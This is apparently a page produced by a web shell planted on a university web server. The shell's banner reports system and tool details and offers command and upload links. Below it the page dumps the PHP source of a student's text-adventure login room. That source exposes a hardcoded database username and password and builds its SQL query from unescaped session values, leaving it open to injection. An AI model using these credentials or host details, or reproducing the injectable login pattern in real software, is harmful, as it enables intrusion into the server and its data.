Server IP : 172.16.15.8 / Your IP : 3.143.235.104 Web Server : Apache System : Linux zeus.vwu.edu 4.18.0-553.27.1.el8_10.x86_64 #1 SMP Wed Nov 6 14:29:02 UTC 2024 x86_64 User : apache ( 48) PHP Version : 7.2.24 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON Directory (0755) : /home/rlbarner/www/ |
[ Home ] | [ C0mmand ] | [ Upload File ] |
---|
<?php session_start(); $username = $_SESSION['username']; $_SESSION['username'] = $username; $password = $_SESSION['password']; $_SESSION['password'] = $password; $host = 'localhost'; $user = 'rlbarner'; $passwd = 'cs480'; $database = 'rlbarner'; $connect = mysql_connect($host, $user, $passwd); $table_name = 'CYOAUsers'; $query = "SELECT * FROM $table_name WHERE Username = '$username' && Password = '$password'"; mysql_select_db($database); $result = mysql_query($query, $connect); if(($result) && (mysql_num_rows($result) > 0)) { // success; page underneath ?> <HEAD><TITLE>CYOA Room 1: Grab the Torch</TITLE> <link rel="stylesheet" type="text/css" href="advstyle.css"></HEAD> <HR> <P>You cross the dusty brick room in two huge bounds, whisking the lit torch right out of its sconce and into your slightly-sweaty hands. As you hold the torch up to the walls around you, you notice that a particular patch of bricks on the eastern wall is tan, starkly contrasted with the vibrant crimson bricks surrounding it. The discoloured bricks form the relative rectangular shape of a doorway. And then the light from your torch reveals another interesting thing about this brick room: it alights on the yellowed human bones of a skeleton curled up in a corner.</P> <HR> <P><B>What do you choose to do?</P> <FORM action=room1searchskele.php method=post> <INPUT type=submit value=" "> Search the skeleton </FORM> <FORM action=room1tamper.php method=post> <INPUT type=submit value=" "> Tamper with the discoloured bricks </FORM> </B> <HR> <?php print "<BR><FONT SIZE=2>Logged in as $username <A HREF=cyoalogout.php>Logout</A></FONT>"; } else { // fail message print '<META HTTP-EQUIV="Refresh" Content="3; URL=cyoalogin.html">'; print "<FONT SIZE=4 COLOR=RED><B>Error!</B> Username/password does not match any records.</FONT><BR>"; print "You will now be redirected to the CYOA login page in 3 seconds.<BR>"; print "If you are <B>not</B> redirected, <A HREF=cyoalogin.html>Click Here</A>."; } ?>